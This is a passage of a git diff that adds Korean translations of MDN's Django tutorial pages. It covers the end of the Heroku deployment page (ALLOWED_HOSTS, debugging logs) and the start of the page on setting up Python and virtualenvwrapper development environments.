+<pre class="brush: bash">&gt;heroku config:set <code>DJANGO_DEBUG=
+
+Setting DJANGO_DEBUG and restarting locallibrary... done, v8</code></pre>
+
+<p>지금 웹사이트를 방문한다면 "Bad request" 에러를 만나게 되는데 이것은 (보안 조치상) <code>DEBUG=False</code> 로 설정되어 있여서 <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#allowed-hosts">ALLOWED_HOSTS</a> 설정이 요구되기 때문이다. <strong>/locallibrary/settings.py</strong> 파일을 열고 아래와 같이  <code>ALLOWED_HOSTS</code> 설정을 수정하여 베이스 앱 url과 (예를들면, 'locallibrary1234.herokuapp.com') 로컬 개발 환경 웹서버에서 지금까지 사용해온 URL을 추가하라.</p>
+
+<pre class="brush: python">ALLOWED_HOSTS = ['&lt;your app URL without the https:// prefix&gt;.herokuapp.com','127.0.0.1']
+# For example:
+# ALLOWED_HOSTS = ['fathomless-scrubland-30645.herokuapp.com','127.0.0.1']
+</pre>
+
+<p>그다음 지금 설정한 것들을 저장하고 Github 저장소와 Herok에 반영한다 :</p>
+
+<pre class="brush: bash">git add -A
+git commit -m 'Update ALLOWED_HOSTS with site and development server URL'
+git push origin master
+git push heroku master</pre>
+
+<div class="note">
+<p>Heroku에 사이트 업데이트하는 것을 완료한후, 존재하지 않는 주소URL(예를 들면, <strong>/catalog/doesnotexist/</strong>) 을 입력해 보자.  이전에는 이런 경우 자세한 설명이 담긴 디버그 페이지를 보여주었었지만, 이제는 단순한 "Not Found" 페이지가 보일것이다.</p>
+</div>
+
+<h3 id="디버깅_하기">디버깅 하기</h3>
+
+<p>Heroku 클라이언트는 디버깅을 위한 몇가지 도구를 제공한다 :</p>
+
+<pre class="brush: bash">heroku logs  # Show current logs
+heroku logs --tail # Show current logs and keep updating with any new results
+heroku config:set DEBUG_COLLECTSTATIC=1 # Add additional logging for collectstatic (this tool is run automatically during a build)
+heroku ps   #Display dyno status
+</pre>
+
+<p>이것들보다 더 자세한 정보가 필요하다면 <a href="https://docs.djangoproject.com/en/2.0/topics/logging/">Django Logging</a> 을 자세히 살펴보는 것이 좋을것이다.</p>
+
+<ul>
+</ul>
+
+<h2 id="요약">요약</h2>
+
+<p>이렇게 Django 앱을 운영환경에서 구성해보는 튜토리얼이 끝났고. 지금까지 공부해온 Django 튜토리얼 시리즈도 이것으로 마무리가 되었다. 이 시리즈가 당신에 유용한 자료이길 바란다. 앞에서 설명한 모든 단계를 커버하는 버전의, <a href="https://github.com/mdn/django-locallibrary-tutorial">Github상의 소스 코드는 이곳에서</a> 확인할 수 있다.<br>
+ <br>
+ 다음 단계는 마지막으로 몇개의 기사를 읽어보고, 평가작업을 완성하는 것이다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/howto/deployment/">Deploying Django</a> (Django docs)
+
+  <ul>
+   <li><a href="https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/">Deployment checklist</a> (Django docs)</li>
+   <li><a href="https://docs.djangoproject.com/en/2.0/howto/static-files/deployment/">Deploying static files</a> (Django docs)</li>
+   <li><a href="https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/">How to deploy with WSGI</a> (Django docs)</li>
+   <li><a href="https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/modwsgi/">How to use Django with Apache and mod_wsgi</a> (Django docs)</li>
+   <li><a href="https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/gunicorn/">How to use Django with Gunicorn</a> (Django docs)</li>
+  </ul>
+ </li>
+ <li>Heroku
+  <ul>
+   <li><a href="https://devcenter.heroku.com/articles/django-app-configuration">Configuring Django apps for Heroku</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/getting-started-with-python#introduction">Getting Started on Heroku with Django</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/django-assets">Django and Static Assets</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/python-concurrency-and-database-connections">Concurrency and Database Connections in Django</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/how-heroku-works">How Heroku works</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/dynos">Dynos and the Dyno Manager</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/config-vars">Configuration and Config Vars</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/limits">Limits</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/python-gunicorn">Deploying Python applications with Gunicorn</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/deploying-python">Deploying Python and Django apps on Heroku</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/search?q=django">Other Heroku Django docs</a></li>
+  </ul>
+ </li>
+ <li>Digital Ocean
+  <ul>
+   <li><a href="https://www.digitalocean.com/community/tutorials/how-to-serve-django-applications-with-uwsgi-and-nginx-on-ubuntu-16-04">How To Serve Django Applications with uWSGI and Nginx on Ubuntu 16.04</a></li>
+   <li><a href="https://www.digitalocean.com/community/tutorials?q=django">Other Digital Ocean Django community docs</a></li>
+  </ul>
+ </li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Testing", "Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</p>
+
+<p> </p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/learn/server-side/django/development_environment/index.html b/files/ko/learn/server-side/django/development_environment/index.html
new file mode 100644
index 0000000000..0e31882131
--- /dev/null
+++ b/files/ko/learn/server-side/django/development_environment/index.html
@@ -0,0 +1,439 @@
+---
+title: Django 개발 환경 세팅하기
+slug: Learn/Server-side/Django/development_environment
+tags:
+  - 개발환경
+  - 들어가기
+  - 설치
+  - 장고
+  - 초심자
+  - 파이썬
+translation_of: Learn/Server-side/Django/development_environment
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">이제 장고가 무엇인지 알았으니, 윈도우, 리눅스(우분투), 맥 OS X에서 어떻게 장고 개발환경을 세팅하는지, 설치 후에는 어떻게 테스트하는지 살펴보겠습니다. 즉 이 문서를 통해서는 사용하고 있는 운영체제가 무엇인지와 상관없이 장고 어플리케이션 개발을 시작하기 위해 필요한 것들을 배우게 됩니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">미리 필요한 것:</th>
+   <td>
+    <p>터미널 또는 커맨드 창을 열 수 있어야 합니다. 또, 자신이 사용하는 PC의 운영체제에 따라 PC에 소프트웨어 패키지를 설치할 수 있어야 합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>장고가 컴퓨터에서 실행될 수 있도록 개발 환경을 세팅합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="장고_개발_환경_개요">장고 개발 환경 개요</h2>
+
+<p>장고는 개발 환경을 세팅하고 웹 어플리케이션을 개발하는 것이 매우 쉽습니다. 이 섹션에서는 개발 환경이 제공하는 것들과, 개발 환경 세팅 시 옵션 사항을 알아봅니다. 또 우분투, 맥 OS X, 윈도우에서 장고 개발 환경을 설치하는 방법과 설치 후 테스트하는 방법을 설명합니다.</p>
+
+<h3 id="장고_개발_환경이란">장고 개발 환경이란?</h3>
+
+<p>장고 개발 환경이란, 장고를 로컬 컴퓨터에 설치하여 장고 어플리케이션을 개발, 실행, 테스트할 수 있는 환경을 말합니다. 로컬 컴퓨터는 자신이 어플리케이션을 개발하는데 사용하는 컴퓨터입니다. 어플리케이션을 실제 배포하기 전에 로컬 컴퓨터 위에서 어플리케이션을 실행 및 테스트할 수 있습니다.</p>
+
+<p>장고 자체가 제공하는 주요 툴에는 장고 프로젝트를 생성하고 작업하기 위한 파이썬 스크립트들과 심플한 개발용 웹 서버가 있습니다. 이 개발용 웹 서버로 우리는 로컬 컴퓨터에서 개발한 장고 어플리케이션을 같은 로컬 컴퓨터에서 테스트해 볼 수 있습니다. 예를 들면, 자신의 PC에서 개발한 장고 웹 어플리케이션을 크롬 브라우저와 같은 웹 브라우저 상에서 실행하고 테스트해볼 수 있습니다.</p>
+
+<p>앞서 설명한 것 외에도 장고 개발 환경은 여러 툴을 제공합니다. 코드 작성을 돕는 텍스트 에디터와 IDE, 소스코드의 버전을 안전하게 관리하기 위한 Git과 같은 소스 관리 도구와 같은 것들이 있습니다. 그러나 이것들은 여기서는 다루지 않습니다. 또 여기서는 미리 텍스트 에디터를 설치했다고 가정할 것입니다. 그러므로 텍스트 에디터를 아직 설치하지 않았다면 설치해주세요. 자주 사용하는 텍스트 에디터로는 <a href="https://www.sublimetext.com/3">Sublime Text 3</a>, <a href="https://wiki.gnome.org/Apps/Gedit#Download">Gedit</a>, <a href="https://atom.io/">Atom</a> 등이 있습니다.</p>
+
+<h3 id="장고_설치_옵션">장고 설치 옵션</h3>
+
+<p>장고는 설치 및 구성에서 매우 유연합니다.</p>
+
+<p>장고는 다음 사항이 가능합니다:</p>
+
+<ul>
+ <li>여러 운영 체제에서 설치가 가능합니다.</li>
+ <li>소스에서, 파이썬 패키지 인덱스(PyPi)에서, 그리고 많은 경우 호스트 컴퓨터의 패키지 매니저 어플리케이션에서 설치가 가능합니다.</li>
+ <li>별도로 설치 및 구성되어있어야 하는 여러가지 데이터베이스 중 하나를 사용하도록 설정할 수 있습니다.</li>
+ <li>메인 시스템의 파이썬 환경 또는 별도의 파이썬 가상 환경에서 실행됩니다.</li>
+</ul>
+
+<p>이러한 각각의 옵션들은 모두 조금씩 다른 구성과 설치가 필요합니다. 이어지는 세부 내용에서 몇 가지 선택 사항을 설명합니다. 이하 글에서는 몇 가지 운영체제에서 장고를 설치 및 설정하는 방법을 보여주고, 나머지 튜토리얼에서는 모두 이 설정을 가정해서 진행됩니다.</p>
+
+<div class="note">
+<p><strong>주의</strong>: 공식 장고 문서에서 다른 설치 옵션을 찾을 수 있습니다. 링크 : <a href="#furtherreading">appropriate documents below</a>.</p>
+</div>
+
+<h4 id="어떤_운영체제가_지원되나요">어떤 운영체제가 지원되나요?</h4>
+
+<p>장고는 파이썬 3 프로그래밍 언어를 실행할 수 있는 거의 모든 기계에서 실행될 수 있습니다: 윈도우, 맥 OS X, 리눅스/유닉스, 솔라리스 등등. 거의 모든 컴퓨터가 개발 중에 장고를 실행할 수 있는 성능을 갖고 있습니다.</p>
+
+<p>이 글에서는 윈도우, 맥 OS X, 리눅스/유닉스에 관해 설명하도록 하겠습니다.</p>
+
+<h4 id="파이썬은_어느_버전을_사용해야_할까">파이썬은 어느 버전을 사용해야 할까?</h4>
+
+<p>가능한 최신 버전을 사용할 것을 권장합니다. 이 글을 작성할 때 가장 최신 버전은 파이썬 3.7입니다.</p>
+
+<p>필요에 따라 Python 3.4 혹은 그 이후의 버전이 사용될 수 있습니다. (파이썬 3.4는 차후에 지원이 안될 수도 있습니다)</p>
+
+<div class="note">
+<p><strong>주의</strong>: 파이썬 2.7은 장고 2.0에서 사용할 수 없습니다. (장고 1.11.x 버전에서 마지막으로 파이썬 2.7을 지원했습니다)</p>
+</div>
+
+<h4 id="장고는_어디서_다운로드할_수_있나요">장고는 어디서 다운로드할 수 있나요?</h4>
+
+<p>장고를 다운로드하는 세가지 방법 :</p>
+
+<ul>
+ <li>pip 도구를 이용한 PyPi(Python Package Repository)에서 설치. 이 방법이 장고의 최신 버전을 받을 수 있는 최적의 방법입니다.</li>
+ <li>본인 컴퓨터의 패키지 매니저에 있는 버전을 사용하세요. 운영체제와 함께 제공되는 장고는 친숙한 설치 방법을 제공합니다. 다만 이것은 상당히 오래된 버전일 것이며, (아마 그렇게 원하지 않을) 시스템 파이썬 환경에만 설치될 수 있다는 것에 유의하세요.</li>
+ <li>소스에서 설치하기. 소스에서 장고의 최신버전을 다운로드하여 설치할 수 있습니다. 초심자에게는 추천하지 않지만, 당신이 장고에게 기여할 수 있는 준비가 됐다면 필요합니다.</li>
+</ul>
+
+<p>아래 글은 최신의 안정된 버전을 얻기 위해 PyPi에서 장고를 설치하는 방법을 보여줍니다.</p>
+
+<h4 id="어떤_Database를_써야_하나요">어떤 Database를 써야 하나요?</h4>
+
+<p>장고는 네 가지 메인 데이터베이스(PostgreSQL, MySQL, Oracle 그리고 SQLite)를 지원합니다. 그리고 다른 인기있는 SQL과 NoSQL 데이터베이스들을 다양한 레벨로 지원하는 커뮤니티 라이브러리가 있습니다. 우리는 생산과 개발에 동일한 데이터베이스를 선택하는 것을 추천합니다(장고는 ORM(Object-Relational Mapper)을 사용해 데이터베이스간의 차이 대부분을 추상화하긴 하지만, 아직 피하는게 나은 <a href="https://docs.djangoproject.com/en/2.0/ref/databases/">잠재적 문제들</a>이 있습니다.</p>
+
+<p>이 글에서(그리고 이 모듈의 거의 모든 부분에서) 우리는 데이터를 파일로 저장하는 SQLite 데이터베이스를 사용할 것 입니다. SQLite는 가벼운 데이터베이스로 사용하기에 적합하며 높은 수준의 동시성을 지원하지 않습니다. 그렇지만 주로 읽기 전용인 응용 프로그램을 위해서는 아주 좋은 선택입니다.</p>
+
+<div class="note">
+<p><strong>주의</strong>: 장고는 <em>django-admin과 같이 웹사이트를 만드는 표준 도구를 사용하면</em> SQLite가 기본 값으로 설정되어 있습니다. 이는 추가적인 설정이 필요하지 않으므로 시작하기에 좋습니다. </p>
+</div>
+
+<h4 id="시스템_전체에_설치할까요_파이썬_가상환경에_설치할까요">시스템 전체에 설치할까요, 파이썬 가상환경에 설치할까요?</h4>
+
+<p>파이썬 3를 설치하면 모든 파이썬 3 코드가 공유하는 하나의 글로벌 환경이 만들어집니다. 그 환경에 원하는 어떤 파이썬 패키지라도 설치할 수 있지만, 각 패키지의 하나의 버전만 설치할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>주의</strong>: 글로벌 환경에 설치된 파이썬 응용 프로그램들은 서로 충돌할 가능성이 있습니다. (예: 같은 패키지의 다른 버전일 경우)</p>
+</div>
+
+<p>만약 장고를 기본/전역 환경에 설치한다면 컴퓨터에서 하나의 장고 버전만을 대상으로 지정할 수 있습니다. 이것은 당신이 옛날 버전으로 작동하는 웹사이트를 관리하면서 최신 버전의 장고를 이용한 새로운 웹사이트를 만들고 싶을 때 문제가 됩니다.</p>
+
+<p>결과적으로, 경험있는 파이썬/장고 개발자들은 일반적으로 독립적인 파이썬 환경에서 파이썬 앱들을 실행합니다. 이것은 여러 다른 장고 환경이 하나의 컴퓨터에서 작동 가능하게 합니다. 장고 개발팀에서도 당신이 파이썬 가상 환경을 사용하는 것을 추천합니다!</p>
+
+<p>이 모듈은 당신이 장고를 가상 환경에 설치했다고 가정합니다. 아래에서 어떻게 설치하는지 알려드리겠습니다.</p>
+
+<h2 id="파이썬_3_설치">파이썬 3 설치</h2>
+
+<p>장고를 사용하기 위해서 파이썬을 설치해야 합니다. 파이썬 3을 사용하는 경우 장고와 다른 파이썬 앱에서 사용하는 파이썬 패키지 및 라이브러리를 설치, 업데이트, 제거하는 데 사용되는 <a href="https://pypi.org/">pip3 (Python Package Index)</a> 도구도 필요합니다.</p>
+
+<p>이번 섹션에서는 현재 당신의 파이썬 버전이 무엇인지 확인하고, 필요에 따라 운영체제(Ubuntu Linux 16.04, macOS X, and Windows 10)별로 새로운 버전 설치 방법을 간단하게 설명합니다.</p>
+
+<div class="note">
+<p><strong>주의</strong>: 플랫폼에 따라 운영 체제의 자체 패키지 관리자 또는 다른 메커니즘을 통해 Python / pip를 설치할 수도 있습니다. 대부분의 플랫폼의 경우 <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a>에서 필요한 설치 파일을 다운로드하여 적절한 플랫폼 별 방법을 사용하여 설치할 수 있습니다.</p>
+</div>
+
+<h3 id="우분투_16.04">우분투 16.04</h3>
+
+<p>우분투 리눅스 18.04 LTS는 파이썬 3.6.6을 기본적으로 포함하고 있습니다. bash 터미널에서 아래 코드를 실행하여 이것을 확인할 수 있습니다.:</p>
+
+<pre class="brush: bash notranslate"><span style="line-height: 1.5;">python3 -V
+ Python 3.6.6</span></pre>
+
+<p>그러나 파이썬3의 패키지 설치를 위한 Python Package Index tool(장고를 포함해)는 기본적으로 설치되어있지 않습니다. bash 터미널에서 아래 코드를 사용하여 pip3를 설치할 수 있습니다:</p>
+
+<pre class="brush: bash notranslate">sudo apt install python3-pip
+</pre>
+
+<h3 id="맥OS_X">맥OS X</h3>
+
+<p>맥OS X "엘 캐피탄" 이후의 최신 버전에서는 파이썬3를 포함하고 있지 않습니다. bash 터미널에서 아래 코드를 실행해서 확인할 수 있습니다.:</p>
+
+<pre class="brush: bash notranslate"><span style="line-height: 1.5;">python3 -V
+ </span>-bash: python3: command not found</pre>
+
+<p>당신은<a href="https://www.python.org/"> python.org</a>에서 파이썬3를(pip3 도구도 함께) 쉽게 설치할 수 있습니다:</p>
+
+<ol>
+ <li>필요한 설치 파일을 다운로드하세요:
+  <ol>
+   <li><a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a> 로 가세요.</li>
+   <li><strong>Download Python 3.7.0</strong> 버튼을 선택하세요 (정확한 마이너 버전 숫자는 다를 수도 있습니다).</li>
+  </ol>
+ </li>
+ <li>파인더를 통해 파일을 찾아, 패키지 파일을 더블클릭 하세요. 그리고선 설치 과정을 따릅니다.</li>
+</ol>
+
+<p>이제 아래와 같이 파이썬3의 성공적인 설치를 확인할 수 있습니다:</p>
+
+<pre class="brush: bash notranslate"><span style="line-height: 1.5;">python3 -V
+ Python 3.7.0</span>
+</pre>
+
+<p>가능한 패키지들의 목록을 불러옴으로써 pip3가 설치된 것을 확인할 수 있습니다:</p>
+
+<pre class="brush: bash notranslate">pip3 list</pre>
+
+<h3 id="윈도우_10">윈도우 10</h3>
+
+<p>윈도우는 파이썬을 기본적으로 포함하고 있지 않지만, <a href="https://www.python.org/">python.org</a>에서(pip3 도구와 함께) 쉽게 설치할 수 있습니다:</p>
+
+<ol>
+ <li>필요한 설치 파일을 다운로드하세요:
+  <ol>
+   <li><a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a> 로 가세요</li>
+   <li><strong>Download Python 3.7.1 </strong>버튼을 선택하세요 (정확한 마이너 버전 숫자는 다를 수도 있습니다).</li>
+  </ol>
+ </li>
+ <li>다운로드된 파일을 더블클릭해서 파이썬을 설치하세요.</li>
+</ol>
+
+<p>명령 프롬프트에서 아래 텍스트를 입력해서 파이썬3가 설치된 것을 확인할 수 있습니다:</p>
+
+<pre class="brush: bash notranslate"><span style="line-height: 1.5;">py -3 -V
+ Python 3.7.1</span>
+</pre>
+
+<p>윈도우 버전의 설치 파일은 pip3(파이썬 패키지 관리자)가 기본적으로 포함되어 있습니다. 아래 코드로 설치된 패키지 목록을 볼 수 있습니다.</p>
+
+<pre class="brush: bash notranslate"><span style="line-height: 1.5;">pip3 list</span>
+</pre>
+
+<div class="note">
+<p><strong>주의</strong>: 설치 파일은 위 코드들이 실행되기 위한 모든 것을 설치해줄 것입니다. 만약 파이썬을 찾을 수 없다는 메시지가 나오면, 파이썬을 당신의 시스템 경로에 추가하는 것을 깜빡했을 수가 있습니다. 당신은 설치 파일을 다시 실행해서 'Modify'를 선택 후 두 번째 페이지에 있는 "Add Python to environment variables" 박스에 체크함으로써 시스템 경로에 파이썬을 추가할 수 있습니다.</p>
+</div>
+
+<h2 id="파이썬_가상_환경에서_장고_사용하기">파이썬 가상 환경에서 장고 사용하기</h2>
+
+<p>우리가 가상 환경을 만드는 데 사용할 라이브러리들은 <a href="https://virtualenvwrapper.readthedocs.io/en/latest/index.html">virtualenvwrapper</a> (리눅스와 맥 OS X) 그리고 <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> (윈도우)입니다. 둘 다  <a href="https://developer.mozilla.org/en-US/docs/Python/Virtualenv">virtualenv</a> 도구를 사용하죠. wrapper 도구는 모든 플랫폼의 인터페이스를 관리하기 위한 일관적인 인터페이스를 생성합니다.</p>
+
+<h3 id="가상_환경_소프트웨어_설치하기">가상 환경 소프트웨어 설치하기</h3>
+
+<h4 id="우분투_가상_환경_셋업">우분투 가상 환경 셋업</h4>
+
+<p>파이썬과 pip를 설치한 후에 (virtualenv를 포함하는)virtualenvwrapper를 설치할 수 있습니다. 공식 설치 가이드는 <a href="http://virtualenvwrapper.readthedocs.io/en/latest/install.html">여기</a>엣서 찾을 수 있습니다. 아니면 아래 설명을 따라오세요.</p>
+
+<p>pip3를 사용해서 그 도구를 설치하세요:</p>
+
+<pre class="brush: bash notranslate"><code>sudo pip3 install virtualenvwrapper</code></pre>
+
+<p>그리고 당신의 shell 스타트업 파일(이것은 당신의 홈 디렉토리에 있는 숨겨진 <strong>.bashrc</strong> 파일 이름입니다)의 끝에 아래 코드를 추가하세요. 이 코드들은 가상 환경이 활동할 위치, 당신의 개발 프로젝트 디렉토리 위치, 그리고 이 패키지와 함께 설치된 스크립트의 위치를 설정합니다:</p>
+
+<pre class="brush: bash notranslate"><code>export WORKON_HOME=$HOME/.virtualenvs
+export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
+export VIRTUALENVWRAPPER_VIRTUALENV_ARGS=' -p /usr/bin/python3 '
+export PROJECT_HOME=$HOME/Devel
+source /usr/local/bin/virtualenvwrapper.sh</code></pre>
+
+<div class="note">
+<p><strong>Note</strong>:<code>VIRTUALENVWRAPPER_PYTHON</code> 와 <code>VIRTUALENVWRAPPER_VIRTUALENV_ARGS </code>변수는 파이썬3의 일반적인 설치 위치를 가리킵니다. 그리고 <code>source /usr/local/bin/virtualenvwrapper.sh</code> 는 <code>virtualenvwrapper.sh</code> 스크립트의 일반적인 위치를 가리킵니다. 만약 테스트 중에 virtualenv가 작동하지 않는다면, 확인해야 할 일 중 하나는 파이썬과 스크립트가 알맞은 위치에 있는지 입니다(그리고 스타트업 파일을 그에 맞게 바꾸세요).<br>
+ <br>
+  <code>which virtualenvwrapper.sh</code> 와 <code>which python3</code>커맨드를 사용해서 당신의 시스템에 알맞은 위치를 찾을 수 있습니다.</p>
+</div>
+
+<p>그리고 아래 코드를 터미널에서 실행하여 스타트업 파일을 다시 불러오세요:</p>
+
+<pre class="brush: bash notranslate"><code>source ~/.bashrc</code></pre>
+
+<p>이 시점에서 아래와 같이 한 다발의 스크립트가 실행되는 걸 볼 수 있습니다 :</p>
+
+<pre class="brush: bash notranslate"><code>virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/premkproject
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postmkproject
+...
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/preactivate
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postactivate
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/get_env_details</code></pre>
+
+<p>이제 <code>mkvirtualenv</code>명령으로 새로운 가상 환경을 생성할 수 있습니다.</p>
+
+<h4 id="맥OS_X_가상_환경_설정">맥OS X 가상 환경 설정</h4>
+
+<p>맥OS X에서 <em>virtualenvwrapper</em>를 설정하는 것은 우분트와 거의 다를바가 없습니다. (다시 말하지만,  <a href="http://virtualenvwrapper.readthedocs.io/en/latest/install.html">공식 설치 가이드</a> 를 따라하거나 아래 내용을 따라해도 됩니다).</p>
+
+<p>아래와 같이 pip를 이용해 <em>virtualenvwrapper</em> (와 동봉된 <em>virtualenv</em>)를 설치하세요.</p>
+
+<pre class="brush: bash notranslate"><code>sudo pip3 install virtualenvwrapper</code></pre>
+
+<p>그리고 쉘 시작 파일(shell startup file)의 맨 아랫쪽에 아래 코드를 추가하세요.</p>
+
+<pre class="brush: bash notranslate"><code>export WORKON_HOME=$HOME/.virtualenvs
+export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
+export PROJECT_HOME=$HOME/Devel
+source /usr/local/bin/virtualenvwrapper.sh</code>
+</pre>
+
+<div class="note">
+<p><strong>참고사항</strong>: <code>VIRTUALENVWRAPPER_PYTHON</code> 변수는 파이썬3의 일반적인 설치 위치를 가리키며, <code>source /usr/local/bin/virtualenvwrapper.sh</code>는  <code>virtualenvwrapper.sh</code>스크립트의 일반적인 위치를 가리킵니다. 당신이 테스트할 때 <em>virtualenv</em> 가 동작하지 않는다면, 한가지 체크해볼 것은 파이썬과 해당 스크립트가 위에서 가리키는 위치에 있는지 여부입니다( 다르다면 startup 파일을 적절하게 수정해야 합니다).</p>
+
+
+
+<p>예를 들어,  맥OS상의 어떤 시스템의 설치 테스트에서는 startup 파일에 아래와 같은 코드를 추가할 필요가 있었습니다 :</p>
+
+<pre class="notranslate"><code>export WORKON_HOME=$HOME/.virtualenvs
+export VIRTUALENVWRAPPER_PYTHON=/Library/Frameworks/Python.framework/Versions/3.7/bin/python3
+export PROJECT_HOME=$HOME/Devel
+source /Library/Frameworks/Python.framework/Versions/3.7/bin/virtualenvwrapper.sh</code></pre>
+
+<p><code>which virtualenvwrapper.sh</code>와 <code>which python3</code>.명령을 이용하여 당신 시스템 환경에서의 정확한 위치를 찾을 수 있습니다.</p>
+
+
+</div>
+
+<p>이 코드들은 우분트에서도 같은 코드이지만, startup 파일은 당신의 홈 디렉토리에 위치하며 다른 이름 <strong>.bash_profile</strong>을 가진 숨겨진 파일입니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 파인더(finder)에서<strong>.bash-profile</strong> 파일을 찾을 수 없다면, 터미널에서 nano를 이용해 이 파일을 열 수 있습니다. </p>
+
+<p>터미널 명령은 대체로 아래와 같습니다 :</p>
+
+<pre class="notranslate"><code>cd ~  # Navigate to my home directory
+ls -la #List the content of the directory. YOu should see .bash_profile
+nano .bash_profile # Open the file in the nano text editor, within the terminal
+# Scroll to the end of the file, and copy in the lines above
+# Use Ctrl+X to exit nano, Choose Y to save the file.</code>
+</pre>
+
+
+</div>
+
+<p>그 다음엔, 터미널에서 아래 명령을 호출하여 startup 파일을 재실행 하세요 :</p>
+
+<pre class="brush: bash notranslate"><code>source ~/.bash_profile</code></pre>
+
+<p>이 시점에서 한 다발의 스크립트가 실행되는 걸 볼 수 있습니다( Ubuntu 설치때와 같은 스크립트 입니다). 이제 <code>mkvirtualenv</code> 명령으로 새로운 가상환경을 생성할 수 있어야 합니다.</p>
+
+<h4 id="윈도우_10_가상_환경_설정">윈도우 10 가상 환경 설정</h4>
+
+<p><a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> 를 설치하는것이 virtualenvwrapper를 설치하는 것보다 훨씬 쉬운데, 가상 환경 정보를 어디에 저장해야할지 설정할 필요가 없기 때문입니다 (기본값이 있습니다). 아래 명령을 명령 프롬프트에서 실행하는 것이 당신이 해야할 전부입니다:</p>
+
+<pre class="notranslate"><code>pip3 install virtualenvwrapper-win</code></pre>
+
+<p>이제 <code>mkvirtualenv</code> 명령으로 새로운 가상환경을 생성할 수 있습니다.</p>
+
+<h3 id="가상_환경_생성하기">가상 환경 생성하기</h3>
+
+<p>일단 virtualenvwrapper 나 virtualenvwrapper-win 을 설치했다면 가상 환경으로 작업하는 것은 모든 플랫폼별에서 차이가 거의 없습니다.</p>
+
+<p>이제 mkvirtualenv 명령으로 새로운 가상 환경을 생성할 수 있습니다. 이 명령이 수행될 때 환경이 설정되는 과정을 보게됩니다( 플랫폼에 따라 보이는 것이 다릅니다). 명령이 완료되면 새로운 가상환경이 활성화 됩니다 — 괄호내에 있는 가상환경의 이름으로 프롬프트가 시작하는 것으로 알 수 있습니다 (아래는 우분투의 경우인데, 마지막 라인은 윈도우/맥OS 도 유사합니다).</p>
+
+<pre class="notranslate"><code>$ mkvirtualenv my_django_environment
+
+Running virtualenv with interpreter /usr/bin/python3
+...
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get_env_details
+(my_django_environment) ubuntu@ubuntu:~$</code>
+</pre>
+
+<p>이제 당신은 가상환경내에 있으며 장고를 설치하고 개발을 시작할 수 있습니다.</p>
+
+<div class="note">
